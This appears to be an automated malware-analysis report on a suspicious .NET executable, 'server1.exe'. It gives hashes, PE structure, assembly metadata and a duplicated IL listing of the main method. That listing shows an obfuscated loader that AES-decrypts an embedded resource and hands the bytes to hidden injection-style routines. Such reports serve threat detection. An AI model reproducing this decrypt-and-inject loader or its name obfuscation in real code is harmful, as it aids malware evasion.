Suspicious
Suspect

c7621bd824231ada140d61c4abfb61bc

PE Executable
MD5: c7621bd824231ada140d61c4abfb61bc
Size: 850.94 KB
application/x-dosexec

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Symbol Obfuscation Score Very high
MD5 c7621bd824231ada140d61c4abfb61bc
Sha1 c5e6a0a4e0906c9f138d1d9d69cae3ee00883a1d
Sha256 e084e80abf2e13a02f8e611406a499fd25fcbd84951ca9bff62f72c6897cb4d6
Sha384 ee7981f466f504a90e0d426238e06a922cb96d1ec188b3beaf2b8ca74cba40624f14d1c6ce3ceda0271b5842ca24aec8
Sha512 5b2ddec347ab4d80c95ed9c93bf164d00d6b30b3ab367b39cb63122abdc0b969bdd5100b6438283bc6a2c46447c7539dbe43ca0ce16976d276c486f33fb3af83
SSDeep 12288:NTUJVLlMl/WJbWlsZ3A8O/SloAS5M2YQ0mlriPkEywNS1CjJj+OLJYUm:NQJbMl/WJ4sZvfRSimiP8wNe8j+OL+
TLSH 150502DD3690A5FFC427D47189659D34E2626C7B0707D203A46B3C9FB63E5CB8E248A2
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
server1.exe
Full Name
server1.exe
EntryPoint
System.Void server.Module2::main()
Scope Name
server1.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
server1
Assembly Version
2.0.0.9
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
43
Main Method
System.Void server.Module2::main()
Main IL Instruction Count
48
Main IL
nop <null>
call System.String server.My.Resources.Resources::get_encrypted()
ldstr BCmW_M?u‡‚CZlQN‰?B;~bPkWJ:;oV†}`>~A
call System.String server.Module2::AES_Decrypt(System.String,System.String)
stsfld System.String server.Module2::Hex
ldc.i4 -402690649
ldc.i4 -1366960054
xor <null>
dup <null>
stloc.2 <null>
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_008F: ldloc.1
ldsfld System.String server.Module2::Hex
call System.Byte[] server.Module2::tilgUhXoMS(System.String)
stsfld System.Byte[] server.Module2::Bytes
ldloc.2 <null>
ldc.i4 1452293722
mul <null>
ldc.i4 1766063698
xor <null>
br.s IL_001A: ldc.i4 -1366960054
newobj System.Void server.THBIHHYuFwK::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Byte[] server.Module2::Bytes
call System.Diagnostics.Process server.Module2::‌‍‬‍​‪‭‭‮‬‭‭‮‌‏‍‏‏‏‭‫‫‭‎‭‭‫‮()
call System.Diagnostics.ProcessModule server.Module2::‫​‫‭‮‫‮‬‎‌‎‪‏‮‭‬​‭‭‌‫​‏‏‮(System.Diagnostics.Process)
call System.String server.Module2::​‍‪‏‭‬‪​‮​‫‭‬​‏‪‍‌‭‎‭‭‌‎‮(System.Diagnostics.ProcessModule)
callvirt System.Boolean server.THBIHHYuFwK::ltGUtPVJuRI(System.Byte[],System.String)
pop <null>
newobj System.Void server.SyJtXnyQBYj::.ctor()
stloc.1 <null>
ldloc.2 <null>
ldc.i4 -1177721893
mul <null>
ldc.i4 190515187
xor <null>
br.s IL_001A: ldc.i4 -1366960054
ldloc.1 <null>
ldsfld System.Byte[] server.Module2::Bytes
call System.Diagnostics.Process server.Module2::‌‍‬‍​‪‭‭‮‬‭‭‮‌‏‍‏‏‏‭‫‫‭‎‭‭‫‮()
call System.Diagnostics.ProcessModule server.Module2::‫​‫‭‮‫‮‬‎‌‎‪‏‮‭‬​‭‭‌‫​‏‏‮(System.Diagnostics.Process)
call System.String server.Module2::​‍‪‏‭‬‪​‮​‫‭‬​‏‪‍‌‭‎‭‭‌‎‮(System.Diagnostics.ProcessModule)
callvirt System.Boolean server.SyJtXnyQBYj::ljOGJvvgquh(System.Byte[],System.String)
pop <null>
ret <null>
Module Name
server1.exe
Full Name
server1.exe
EntryPoint
System.Void server.Module2::main()
Scope Name
server1.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
server1
Assembly Version
2.0.0.9
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
43
Main Method
System.Void server.Module2::main()
Main IL Instruction Count
48
Main IL
nop <null>
call System.String server.My.Resources.Resources::get_encrypted()
ldstr BCmW_M?u‡‚CZlQN‰?B;~bPkWJ:;oV†}`>~A
call System.String server.Module2::AES_Decrypt(System.String,System.String)
stsfld System.String server.Module2::Hex
ldc.i4 -402690649
ldc.i4 -1366960054
xor <null>
dup <null>
stloc.2 <null>
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_008F: ldloc.1
ldsfld System.String server.Module2::Hex
call System.Byte[] server.Module2::tilgUhXoMS(System.String)
stsfld System.Byte[] server.Module2::Bytes
ldloc.2 <null>
ldc.i4 1452293722
mul <null>
ldc.i4 1766063698
xor <null>
br.s IL_001A: ldc.i4 -1366960054
newobj System.Void server.THBIHHYuFwK::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Byte[] server.Module2::Bytes
call System.Diagnostics.Process server.Module2::‌‍‬‍​‪‭‭‮‬‭‭‮‌‏‍‏‏‏‭‫‫‭‎‭‭‫‮()
call System.Diagnostics.ProcessModule server.Module2::‫​‫‭‮‫‮‬‎‌‎‪‏‮‭‬​‭‭‌‫​‏‏‮(System.Diagnostics.Process)
call System.String server.Module2::​‍‪‏‭‬‪​‮​‫‭‬​‏‪‍‌‭‎‭‭‌‎‮(System.Diagnostics.ProcessModule)
callvirt System.Boolean server.THBIHHYuFwK::ltGUtPVJuRI(System.Byte[],System.String)
pop <null>
newobj System.Void server.SyJtXnyQBYj::.ctor()
stloc.1 <null>
ldloc.2 <null>
ldc.i4 -1177721893
mul <null>
ldc.i4 190515187
xor <null>
br.s IL_001A: ldc.i4 -1366960054
ldloc.1 <null>
ldsfld System.Byte[] server.Module2::Bytes
call System.Diagnostics.Process server.Module2::‌‍‬‍​‪‭‭‮‬‭‭‮‌‏‍‏‏‏‭‫‫‭‎‭‭‫‮()
call System.Diagnostics.ProcessModule server.Module2::‫​‫‭‮‫‮‬‎‌‎‪‏‮‭‬​‭‭‌‫​‏‏‮(System.Diagnostics.Process)
call System.String server.Module2::​‍‪‏‭‬‪​‮​‫‭‬​‏‪‍‌‭‎‭‭‌‎‮(System.Diagnostics.ProcessModule)
callvirt System.Boolean server.SyJtXnyQBYj::ljOGJvvgquh(System.Byte[],System.String)
pop <null>
ret <null>
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
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